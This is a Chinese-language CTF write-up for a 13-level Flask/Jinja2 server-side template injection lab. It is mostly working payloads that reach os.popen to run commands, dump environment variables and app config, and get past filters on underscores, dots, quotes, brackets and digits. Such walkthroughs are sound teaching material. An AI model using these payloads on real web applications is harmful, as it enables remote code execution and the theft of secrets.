LEVEL 1
使用的是 NSSCTF 的在线环境
输入框可以执行模版语句。但这里用不了 __import__
,需要找到一个有 __import__
函数的类,调用它导入 os
{{''.__class__.__base__.__subclasses__()}}
这样可以看到 object
的所有子类
假如找到了这么一个类,像下面这样调用 __init__
实例化,获取全局变量字典中的 __import__
传参 os
调用,页面回显应该是 os
模块的打印结果,而不是 No this level
错误提示,然后可以执行后续操作
{{''.__class__.__base__.__subclasses__()[0].__init__.__globals__['__import__']('os')}}
有内容回显,可以用 bp 的 intruder 找到这样一个类。Positions 中 code= 后面写刚刚的代码,在索引处添加占位符。Payload type 选 Numbers,范围 0 - 500
可以看到 80 81 82 83 索引的类应该是可以执行的
{{''.__class__.__base__.__subclasses__()[80].__init__.__globals__['__import__']('os').popen('env').read()}}
成功 RCE
LEVEL 2
这关过滤了 {{
,可以用 {% %}
语法: {%print ''.__class__.__base__.__subclasses__()[80].__init__.__globals__['__import__']('os').popen('env').read()%}
LEVEL 3
页面没有内容回显,可以将命令执行结果写入到文件
网站目录应该是 /app
下
文件位置放到 /app/static
下,即静态文件目录,以便之后能够访问得到
{{''.__class__.__base__.__subclasses__()[80].__init__.__globals__['__import__']('os').system('env > /app/static/1.txt')}}
访问 /static/1.txt 即可看到命令执行结果
LEVEL 4
过滤了中括号,可以用 __getitem()__
获取列表或字典元素
Python 中列表中括号访问指定下标元素实际上是调用了列表的
__getitem()__
方法,字典也实现了这个魔术方法
{{''.__class__.__base__.__subclasses__().__getitem__(80).__init__.__globals__.__getitem__('__import__')('os').popen('env').read()}}
LEVEL 5
过滤了单引号和双引号
先把最前面的空字符换成空列表: [].__class__.__base__
也是 object
可以让这些字符串参数从请求中获取
flask 中有一个 request 对象,有 args (查询参数), form (表单数据), values (查询参数 + 表单参数) 等属性 request 对象始终指代当前处理的 HTTP 请求
输入内容
{{[].__class__.__base__.__subclasses__()[80].__init__.__globals__[request.args.a1](request.args.a2).popen(request.args.a2).read()}}
使用 bp 抓包,添加查询参数
?a1=__import__&a2=os&a3=env
成功执行
LEVEL 6
过滤了 _
,可以采用十六进制绕过,结合 attr()
与 |
一层一层访问
attr(obj, name) 是一个 Jinja2 的内置函数,用于从对象 obj 中动态访问属性或方法,属性名通过 name 提供
中括号访问元素时前面一大串要加括号,不然出问题
{{((''|attr('\x5f\x5fclass\x5f\x5f')|attr('\x5f\x5fbase\x5f\x5f')|attr('\x5f\x5fsubclasses\x5f\x5f')())[80]|attr('\x5f\x5finit\x5f\x5f')|attr('\x5f\x5fglobals\x5f\x5f'))['\x5f\x5fimport\x5f\x5f']('os').popen('env').read()}}
LEVEL 7
过滤了 .
把上一关的套过来,把后面的点也改成 管道符 + attr() 的形式
{{((''|attr('__class__')|attr('__base__')|attr('__subclasses__')())[80]|attr('__init__')|attr('__globals__'))['__import__']('os')|attr('popen')('env')|attr('read')()}}
LEVEL 8
过滤了一堆东西 bl["class", "arg", "form", "value", "data", "request", "init", "global", "open", "mro", "base", "attr"]
用中括号访问属性,然后把会被过滤的字符串其中的某个字符改成16进制形式
a => 61 n=>6e
{{''['__cl\x61ss__']['__b\x61se__']['__subcl\x61sses__']()[80]['__i\x6eit__']['__glob\x61ls__']['__import__']('os')['pope\x6e']('env')['read']()}}
LEVEL 9
过滤了数字,没法直接用下标访问指定的类,不过可以用 for 遍历到它
先去第一关看看之前反复使用的那个类的名称
{{''.__class__.__base__.__subclasses__()[80].__name__}}
结果: _ModuleLock
然后回来执行语句
{% for x in ''.__class__.__base__.__subclasses__() %}
{% if x.__name__ == '_ModuleLock' %}
{{x.__init__.__globals__.__import__('os').popen('env').read()}}
{% endif %}
{% endfor %}
LEVEL 10
这关是要查看到 config,它是 Flask app 对象的一个属性,而 app 实例可以在 flask app 的上下文中通过 current_app 访问
因此从 url_for
访问它的全局作用域,获取应用实例并获取 config
{{url_for.__globals__['current_app'].config}}
LEVEL 11
这关过滤了 '
"
+
request
.
[
]
中括号用不了,字符串可能有点操作空间
先把第七关的 payload 搬过来,把中括号改成 __getitem__
{{''|attr('__class__')|attr('__base__')|attr('__subclasses__')()|attr('__getitem__')(80)|attr('__init__')|attr('__globals__')|attr('__getitem__')('__import__')('os')|attr('popen')('env')|attr('read')()}}
可以使用 set 设置变量,定义字典,键和值不需要加引号,使用管道符接 join 得到键字符串
{% set c=dict(__class__=wtf)|join %}
{% set b=dict(__base__=wtf)|join %}
{% set s=dict(__subclasses__=wtf)|join %}
{% set gi=dict(__getitem__=wtf)|join %}
{% set init=dict(__init__=wtf)|join %}
{% set gl=dict(__globals__=wtf)|join %}
{% set im=dict(__import__=wtf)|join %}
{% set o=dict(os=wtf)|join %}
{% set p=dict(popen=wtf)|join %}
{% set e=dict(env=wtf)|join %}
{% set r=dict(read=wtf)|join %}
{{c|attr(c)|attr(b)|attr(s)()|attr(gi)(80)|attr(init)|attr(gl)|attr(gi)(im)(o)|attr(p)(e)|attr(r)()}}
LEVEL 12
过滤了 _
.
0-9
\
'
"
[
]
下划线得从别的地方搬过来
在第一关执行 {{(config|string).index('_')}}
,得知 config 对象转成字符串后最近的下划线索引为 74,字符串取元素需要用 __getitem__
,此时没有下划线可用,于是把字符串转成列表使用 pop
然后用 join 拼接出来这些属性名
数字可以用 count
弄出来
{% set eighty=dict(aaaaabbbbbcccccdddddaaaaabbbbbcccccdddddaaaaabbbbbcccccdddddaaaaabbbbbcccccddddd=wtf)|join|count %}
{% set six=dict(aaaaaa=wtf)|join|count %}
{% set sf=eighty-six %}
{% set p = dict(pop=wtf)|join %}
{% set underline=config|string|list|attr(p)(sf) %}
{% set c=(underline,underline,dict(class=wtf)|join,underline,underline)|join%}
{% set b=(underline,underline,dict(base=wtf)|join,underline,underline)|join%}
{% set s=(underline,underline,dict(subclasses=wtf)|join,underline,underline)|join%}
{% set gi=(underline,underline,dict(getitem=wtf)|join,underline,underline)|join%}
{% set init=(underline,underline,dict(init=wtf)|join,underline,underline)|join%}
{% set gl=(underline,underline,dict(globals=wtf)|join,underline,underline)|join%}
{% set im=(underline,underline,dict(import=wtf)|join,underline,underline)|join%}
{% set o=dict(os=wtf)|join %}
{% set p=dict(popen=wtf)|join %}
{% set e=dict(env=wtf)|join %}
{% set r=dict(read=wtf)|join %}
{{c|attr(c)|attr(b)|attr(s)()|attr(gi)(eighty)|attr(init)|attr(gl)|attr(gi)(im)(o)|attr(p)(e)|attr(r)()}}
成功执行
LEVEL 13
过滤了 _
.
\
'
"
request
+
class
init
arg
config
app
self
[
]
把前两关的 payload 组合一下,然后把被过滤的关键字拆开拼接
config
改成 jinja2 全局函数 lipsum
{% set p = dict(pop=wtf)|join %}
{% set underline=lipsum|string|list|attr(p)(18) %}
{% set c=(underline,underline,dict(cl=wtf)|join,dict(ass=wtf)|join,underline,underline)|join%}
{% set b=(underline,underline,dict(base=wtf)|join,underline,underline)|join%}
{% set s=(underline,underline,dict(subcl=wtf)|join,dict(asses=wtf)|join,underline,underline)|join%}
{% set gi=(underline,underline,dict(getitem=wtf)|join,underline,underline)|join%}
{% set in=(underline,underline,dict(in=wtf)|join,dict(it=wtf)|join,underline,underline)|join%}
{% set gl=(underline,underline,dict(globals=wtf)|join,underline,underline)|join%}
{% set im=(underline,underline,dict(import=wtf)|join,underline,underline)|join%}
{% set o=dict(os=wtf)|join %}
{% set p=dict(popen=wtf)|join %}
{% set e=dict(env=wtf)|join %}
{% set r=dict(read=wtf)|join %}
{{c|attr(c)|attr(b)|attr(s)()|attr(gi)(80)|attr(in)|attr(gl)|attr(gi)(im)(o)|attr(p)(e)|attr(r)()}}